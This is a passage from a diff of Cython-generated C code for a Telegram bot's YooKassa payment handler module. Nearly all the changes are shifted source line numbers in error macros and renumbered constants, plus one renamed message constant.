0; - __Pyx_INCREF(__pyx_kp_u__15); + __Pyx_INCREF(__pyx_kp_u__14); __pyx_t_12 += 2; - __Pyx_GIVEREF(__pyx_kp_u__15); - PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_kp_u__15); - __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 249, __pyx_L18_error) + __Pyx_GIVEREF(__pyx_kp_u__14); + PyTuple_SET_ITEM(__pyx_t_10, 2, __pyx_kp_u__14); + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 241, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_13 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_13) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_13; __pyx_t_12 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); __Pyx_GIVEREF(__pyx_t_14); PyTuple_SET_ITEM(__pyx_t_10, 3, __pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = __Pyx_PyUnicode_Join(__pyx_t_10, 4, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 249, __pyx_L18_error) + __pyx_t_14 = __Pyx_PyUnicode_Join(__pyx_t_10, 4, __pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 241, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __pyx_t_10 = NULL; @@ -7537,7 +7535,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_11generator3(__pyx_ __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 249, __pyx_L18_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 241, __pyx_L18_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } @@ -7692,7 +7690,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 252, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 244, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -7700,14 +7698,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 252, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 244, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 252, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, 1); __PYX_ERR(0, 244, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 252, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_enter_custom_amount") < 0)) __PYX_ERR(0, 244, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -7720,7 +7718,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 252, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_enter_custom_amount", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 244, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -7759,7 +7757,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_12process_enter_cus if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_4_process_enter_custom_amount *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 252, __pyx_L1_error) + __PYX_ERR(0, 244, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -7770,7 +7768,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_12process_enter_cus __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_14generator4, __pyx_codeobj__16, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 252, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_14generator4, __pyx_codeobj__15, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_process_enter_custom_amount, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 244, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -7810,9 +7808,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 252, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 244, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 256, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -7832,7 +7830,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 256, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 248, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -7840,18 +7838,18 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 257, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 257, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 257, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_BACK); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 257, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_BACK); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 257, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_yookassa) < 0) __PYX_ERR(0, 257, __pyx_L1_error) - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 257, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_callback_data, __pyx_n_u_pay_yookassa) < 0) __PYX_ERR(0, 249, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -7874,28 +7872,28 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 257, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 249, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 259, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 260, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 260, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target_message, __pyx_t_6) < 0) __PYX_ERR(0, 260, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_target_message, __pyx_t_6) < 0) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_CUSTOM_SUM_ANSWER); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 261, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ENTER_SUM); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 260, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_6) < 0) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 262, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -7915,14 +7913,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 262, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 260, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_6) < 0) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 259, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -7937,20 +7935,20 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 259, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 251, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 259, __pyx_L1_error) + else __PYX_ERR(0, 251, __pyx_L1_error) } } - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 265, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 265, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_entering_custom_amount_yookassa); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 265, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_entering_custom_amount_yookassa); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -7972,7 +7970,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 265, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -7987,12 +7985,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_14generator4(__pyx_ __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L5_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 265, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 257, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 265, __pyx_L1_error) + else __PYX_ERR(0, 257, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -8078,7 +8076,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 270, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 262, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -8086,14 +8084,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 270, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 262, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 270, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, 1); __PYX_ERR(0, 262, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 270, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_custom_amount_input") < 0)) __PYX_ERR(0, 262, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -8106,7 +8104,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 270, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_custom_amount_input", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 262, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -8145,7 +8143,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_15process_custom_am if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_5_process_custom_amount_input *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 270, __pyx_L1_error) + __PYX_ERR(0, 262, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -8156,7 +8154,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_15process_custom_am __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_17generator5, __pyx_codeobj__17, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 270, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_17generator5, __pyx_codeobj__16, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_custom_amount_input, __pyx_n_s_process_custom_amount_input, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -8227,14 +8225,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 270, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 262, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_asyncpg); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 272, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_asyncpg); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_connect); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 272, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_connect); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_DATABASE_URL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 272, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_DATABASE_URL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; __pyx_t_5 = 0; @@ -8255,7 +8253,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 272, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -8270,11 +8268,11 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 272, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 264, __pyx_L1_error) __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); } else { __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 272, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 264, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } __Pyx_GIVEREF(__pyx_t_1); @@ -8283,28 +8281,28 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_17generator5(__pyx_ /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 274, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_types); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 266, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_CallbackQuery); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 274, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_CallbackQuery); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 266, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_6 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_callback_query, __pyx_t_3); if (unlikely(__pyx_t_6 == ((int)-1))) __PYX_ERR(0, 274, __pyx_L6_error) + __pyx_t_6 = PyObject_IsInstance(__pyx_cur_scope->__pyx_v_callback_query, __pyx_t_3); if (unlikely(__pyx_t_6 == ((int)-1))) __PYX_ERR(0, 266, __pyx_L6_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_6) { - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 275, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 267, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 275, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 267, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 275, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 267, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_get_temporary_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 277, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_get_temporary_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 269, __pyx_L6_error) 